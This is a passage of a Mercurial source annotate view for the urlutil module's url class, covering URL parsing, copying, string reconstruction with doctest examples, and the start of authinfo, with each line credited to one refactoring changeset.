ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
178 if not self.query:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
179 self.query = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
180
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
181 # // is required to specify a host/authority
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
182 if path and path.startswith(b'//'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
183 parts = path[2:].split(b'/', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
184 if len(parts) > 1:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
185 self.host, path = parts
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
186 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
187 self.host = parts[0]
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
188 path = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
189 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
190 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
191 # path of file:///d is /d
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
192 # path of file:///d:/ is d:/, not /d:/
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
193 if path and not hasdriveletter(path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
194 path = b'/' + path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
195
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
196 if self.host and b'@' in self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
197 self.user, self.host = self.host.rsplit(b'@', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
198 if b':' in self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
199 self.user, self.passwd = self.user.split(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
200 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
201 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
202
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
203 # Don't split on colons in IPv6 addresses without ports
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
204 if (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
205 self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
206 and b':' in self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
207 and not (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
208 self.host.startswith(b'[') and self.host.endswith(b']')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
209 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
210 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
211 self._hostport = self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
212 self.host, self.port = self.host.rsplit(b':', 1)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
213 if not self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
214 self.host = None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
215
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
216 if (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
217 self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
218 and self.scheme == b'file'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
219 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
220 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
221 raise error.Abort(
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
222 _(b'file:// URLs can only refer to localhost')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
223 )
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
224
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
225 self.path = path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
226
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
227 # leave the query string escaped
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
228 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
229 v = getattr(self, a)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
230 if v is not None:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
231 setattr(self, a, urlreq.unquote(v))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
232
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
233 def copy(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
234 u = url(b'temporary useless value')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
235 u.path = self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
236 u.scheme = self.scheme
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
237 u.user = self.user
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
238 u.passwd = self.passwd
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
239 u.host = self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
240 u.path = self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
241 u.query = self.query
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
242 u.fragment = self.fragment
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
243 u._localpath = self._localpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
244 u._hostport = self._hostport
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
245 u._origpath = self._origpath
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
246 return u
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
247
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
248 @encoding.strmethod
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
249 def __repr__(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
250 attrs = []
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
251 for a in (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
252 b'scheme',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
253 b'user',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
254 b'passwd',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
255 b'host',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
256 b'port',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
257 b'path',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
258 b'query',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
259 b'fragment',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
260 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
261 v = getattr(self, a)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
262 if v is not None:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
263 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
264 return b'<url %s>' % b', '.join(attrs)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
265
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
266 def __bytes__(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
267 r"""Join the URL's components back into a URL string.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
268
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
269 Examples:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
270
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
271 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
272 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
273 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
274 'http://user:pw@host:80/?foo=bar&baz=42'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
275 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
276 'http://user:pw@host:80/?foo=bar%3dbaz'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
277 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
278 'ssh://user:pw@[::1]:2200//home/joe#'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
279 >>> bytes(url(b'http://localhost:80//'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
280 'http://localhost:80//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
281 >>> bytes(url(b'http://localhost:80/'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
282 'http://localhost:80/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
283 >>> bytes(url(b'http://localhost:80'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
284 'http://localhost:80/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
285 >>> bytes(url(b'bundle:foo'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
286 'bundle:foo'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
287 >>> bytes(url(b'bundle://../foo'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
288 'bundle:../foo'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
289 >>> bytes(url(b'path'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
290 'path'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
291 >>> bytes(url(b'file:///tmp/foo/bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
292 'file:///tmp/foo/bar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
293 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
294 'file:///c:/tmp/foo/bar'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
295 >>> print(url(br'bundle:foo\bar'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
296 bundle:foo\bar
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
297 >>> print(url(br'file:///D:\data\hg'))
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
298 file:///D:\data\hg
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
299 """
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
300 if self._localpath:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
301 s = self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
302 if self.scheme == b'bundle':
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
303 s = b'bundle:' + s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
304 if self.fragment:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
305 s += b'#' + self.fragment
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
306 return s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
307
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
308 s = self.scheme + b':'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
309 if self.user or self.passwd or self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
310 s += b'//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
311 elif self.scheme and (
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
312 not self.path
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
313 or self.path.startswith(b'/')
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
314 or hasdriveletter(self.path)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
315 ):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
316 s += b'//'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
317 if hasdriveletter(self.path):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
318 s += b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
319 if self.user:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
320 s += urlreq.quote(self.user, safe=self._safechars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
321 if self.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
322 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
323 if self.user or self.passwd:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
324 s += b'@'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
325 if self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
326 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
327 s += urlreq.quote(self.host)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
328 else:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
329 s += self.host
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
330 if self.port:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
331 s += b':' + urlreq.quote(self.port)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
332 if self.host:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
333 s += b'/'
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
334 if self.path:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
335 # TODO: similar to the query string, we should not unescape the
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
336 # path when we store it, the path might contain '%2f' = '/',
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
337 # which we should *not* escape.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
338 s += urlreq.quote(self.path, safe=self._safepchars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
339 if self.query:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
340 # we store the query in escaped form.
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
341 s += b'?' + self.query
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
342 if self.fragment is not None:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
343 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
344 return s
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
345
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
346 __str__ = encoding.strmethod(__bytes__)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
347
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
348 def authinfo(self):
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
349 user, passwd = self.user, self.passwd
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
350 try:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
351 self.user, self.passwd = None, None
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
352 s = bytes(self)
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
353 finally:
ffd3e823a7e5 urlutil: extract `url` related code from `util` into the new module
Pierre-Yves David <pierre-yves.david@octobus.net>
parents: 46906
diff changeset
354 self.user, self.passwd = user, passwd
